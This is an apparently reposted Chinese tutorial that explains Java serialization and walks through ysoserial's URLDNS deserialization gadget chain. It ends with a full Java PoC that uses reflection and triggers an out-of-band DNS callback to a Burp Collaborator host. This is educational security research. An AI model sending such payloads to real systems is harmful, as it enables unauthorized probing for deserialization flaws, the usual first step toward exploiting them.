JAVA安全初探:
Java序列化/反序列化和URLDNS链分析
写
在
●
开
篇
foreword
前面我们已经学习和面向对象编程和基础的反射机制,接下来就该了解一下java序列化和反序列化,并分析一下**ysoserial**中一条较为简单的URLDNS链,发送一次DNS请求!!!
(一)
Java序列化与反序列化
基础概念:
“Java序列化”是指把Java对象转换为字节序列的过程:“Java反序列化”是指把字节序列恢复为Java对象的过程
简单的可以理解为:序列化就是把“一个对象给翻译为字符串”的过程,而反序列化就是把“这串字符串给转回一个对象”。
原因:
一个完整的对象并不便于我们储存和通信传输,所以我们要通过序列化将其转变为字符串来储存或者传输给其他进程,然后再利用反序列化将其转回,实现快速高效的交互。
常用的API
在Java安全的序列化与反序列化中需要记住一些关键的“API”,帮助我们实现这两个过程:
序列化:
**java.io.ObjectOutputStream**
包装一个其他类型的输出流,然后通过其自带的**writeObject**方法写入对象。
**FileOutputStream**
文件输出流,将序列化后的字节序列写入特定的文件中
反序列化:
**java.io.ObjectInputStream**
包装一个其他类型的输入流,然后通过其自带的readObject方法写入对象。
**FileInputStream**
文件输入流,从特定的文件中读取出字节序列
序列化/反序列化基本要求:
一个类要想实现序列化和反序列化,就必须要有Serializable接口
好了,运用上述的API并且满足条件,我们就可以实现一些简单的序列化/反序列化了。
实例
首先,我们写一个简单的类:
```java
public class Person implements Serializable { //实现序列化接口,才能被序列化!!!!
public String name;
public int age;
public double weight;
public Person(){}
public Person(String name, int age, double weight) {
this.name = name;
this.age = age;
this.weight = weight;
}
}
```
编写序列化代码:
```java
public class serialize___aa {
public static void serialize(Object object) throws Exception{
ObjectOutputStream oos=new ObjectOutputStream(new FileOutputStream("C://java/serialize.txt"));
//使用FileOutputStream类将结果输入到该文件中
oos.writeObject(object);
//调用writeObject方法
}
public static void main(String[] args) throws Exception {
Person p=new Person("gxngxngxn",19,114514); //实例化一个Person类
serialize(p); //调用序列化方法
}
}
```
运行结果:
编写反序列化代码:
```java
public class unserialize__aa {
public static void unserialize(String filename) throws Exception{ //参数为文件名
ObjectInputStream objectInputStream=new ObjectInputStream(new FileInputStream(filename));
//读取文件中的字节序列
objectInputStream.readObject();//调用readObject方法
System.out.println("反序列化成功!");
}
public static void main(String[] args) throws Exception {
unserialize("C://java/serialize.txt"); //调用反序列化方法
}
}
```
运行结果:
(二)
URLDNS链分析
里程碑式的工具:**ysoserial**
它是java反序列化利用的神器,它可以让用户根据自己选择的利用链,生成反序列化利用数据,通过将这些数据发送给目标,从而执行用户预先定义的命令。
而我们今天要分析的**URLDNS**链,就是这个工具中存在的一条利用链(与工具源码里的链存在一些出入),用来检测是否存在反序列化漏洞,如果存在则会发起DNS请求。
1.利用链简介:
**HashMap.readObject()** —>**HashMap.putVal()**—>**HashMap.hash()**—>**URL.hashCode()**
2.分析
**HashMap.readObject()**
我们根据一下HashMap类的源码中,可以看到它重写了一个readobject方法,我们在反序列化的时候会调用readobject方法,而重写的一些方法往往是漏洞利用点所在,我们可以看到最底下putval函数中,它会把传入的key放到hash方法中
那么我们跟进一下这个**hash**方法:
```java
static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
//这里会运用了三目表达式,判断接收的key是否空,如果不为空,那么就会调用Key的hashcode方法
}
```
那么这里会调用传入对象的方法,而这个对象又是我们可控的,**可控即意味着危险**,那么我们可以看看是否有哪个类中有hashcode方法,并且可以被我们利用的:
这里我们发现了**URL类**中也存在hashcode方法:
```java
public synchronized int hashCode() {
if (hashCode != -1) //if判断hashcode是否为-1
return hashCode;
hashCode = handler.hashCode(this); //如果不为-1,则调用handler的hashcode方法
return hashCode;
}
```
这里我们再跟进一下**handler**:
发现变量是**URLStreamHandler**类型的,并且是**transient**修饰的,这个关键词修饰的代表不参与序列化。
那我们再跟进一下**URLStreamHandler**:
看到它下面的hashcode方法,接收一个URL类型的参数,然后下面一串代码大致的意思就是给这个URL发送一次DNS请求。
好,在这里停下来,基本上思路很明确了,我们可以通过反序列化时,**HashMap类重写的readObject方法,来调用hash方法,hash方法又会调用我们传入的URL类的hashcode方法,然后hashcode方法又会调用URLStreamHandler的hashcode方法,实现对我们传入的URL地址发送一次DNS请求。**
那么我们可以根据这个思路来编写代码:
```java
//定义序列化方法
public static void serialize(Object object) throws Exception{
ObjectOutputStream objectOutputStream=new ObjectOutputStream(new FileOutputStream("C://java/serialize.txt"));
objectOutputStream.writeObject(object);
}
//定义反序列化方法
public static void unserialize(String filename) throws Exception{
ObjectInputStream objectInputStream=new ObjectInputStream(new FileInputStream(filename));
objectInputStream.readObject();
}
//主函数
public static void main(String[] args) throws Exception {
HashMap<URL,Object> map=new HashMap<>(); //实例化一个HashMap对象,
URL url=new URL("http://exf20lhrr4wfo20t0o23fn9gu70xom.burpcollaborator.net");
//实例化一个URL对象,并且赋值我们接收请求的地址,这里就使用burp里面的工具,具体使用会在下面介绍
map.put(url,1); //调用put方法,给key传值为我们的url
*serialize*(map); //序列化
```
结果如下:
我们可以惊奇的发现,明明我们还没反序列化呢,怎么就接受到了一次DNS请求呢,这不闹呢嘛?那么问题出在哪呢?我们跟进HashMap中的**put**方法看一看:
可以发现,好啊,原来这里也实现了跟readObject中一样的关键功能,那么这个就会对我们造成干扰,因为就算我们实现反序列化,我们照样能收到DNS请求,这样可就不好玩了,那么如何解决这个问题呢?
我们跟进URL类中,发现这里hashCode值默认为-1,而我们之前在上面的hashcode方法里看到,那里有个if判断,如果hashcode不等于-1的话,那么程序就不会走下去。
那么这里我们提出一种猜想:能不能在调用put方法之前把hashcode的值修改为其他,然后调用put方法后,再把值修改成-1呢?答案是显而易见的,我们之前学过了反射机制(JAVA安全初探(一)),当我们通过反射拿到一个类的原型时,我们就可以为所欲为。所以解决办法就是:**通过反射拿到URL类的原型,然后修改hashcode值,再调用put方法,然后再把hashcode值修改回去**,思路清晰后,那么我们就可以把:
```java
HashMap<URL,Object> map=new HashMap<>();
URL url=new URL("http://rpkxi1w7k2ymj3f60mz06oxqnht7hw.burpcollaborator.net");
Class c=url.getClass(); //获取URL类的原型
Field f=c.getDeclaredField("hashCode"); //获取类中hashcode属性
f.setAccessible(true); //因为hashcode属性是私有的,所以我们要修改作用域
f.set(url,114514); //调用set方法修改它的值
map.put(url,1);
f.set(url,-1); //调用put方法后再把hashcode改回-1
*serialize*(map);
```
结果如下:
这时我们会发现,我们就不会再收到DNS请求了,那么让我们反序列化试试:
反序列化后,我们成功收到了DNS请求,代表着链子打通了,至此也就大功告成了。
3.完整POC:
```java
package URLDNS;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.net.MalformedURLException;
import java.net.URL;
import java.util.Collections;
import java.util.HashMap;
public class serialize___aa {
public static void serialize(Object object) throws Exception{
ObjectOutputStream objectOutputStream=new ObjectOutputStream(new FileOutputStream("C://java/serialize.txt"));
objectOutputStream.writeObject(object);
}
public static void unserialize(String filename) throws Exception{
ObjectInputStream objectInputStream=new ObjectInputStream(new FileInputStream(filename));
objectInputStream.readObject();
}
public static void main(String[] args) throws Exception {
HashMap<URL,Object> map=new HashMap<>();
URL url=new URL("http://rpkxi1w7k2ymj3f60mz06oxqnht7hw.burpcollaborator.net");
Class c=url.getClass();
Field f=c.getDeclaredField("hashCode");
f.setAccessible(true);
f.set(url,114514);
map.put(url,1);
f.set(url,-1);
*serialize*(map);
*unserialize*("C://java/serialize.txt");
}
}
```
4.补充(burp外带数据):
**在左上角这里打开Burp Collaborator client**:
然后点击复制地址:
(三)
写在结尾
写完这部分内容,也算是对JAVA反序列化有了初步了解,并且复现了一条最简单的链,巩固了一下反射的应用,接下来就该真正的去跟进一些漏洞链了。有时候会感觉安全这领域深似海,”仰之弥高,钻之弥坚”,只能不断的学吧!!!
原文始发于微信公众号(火炬木攻防实验室):JAVA安全初探(二):Java序列化/反序列化和URLDNS链分析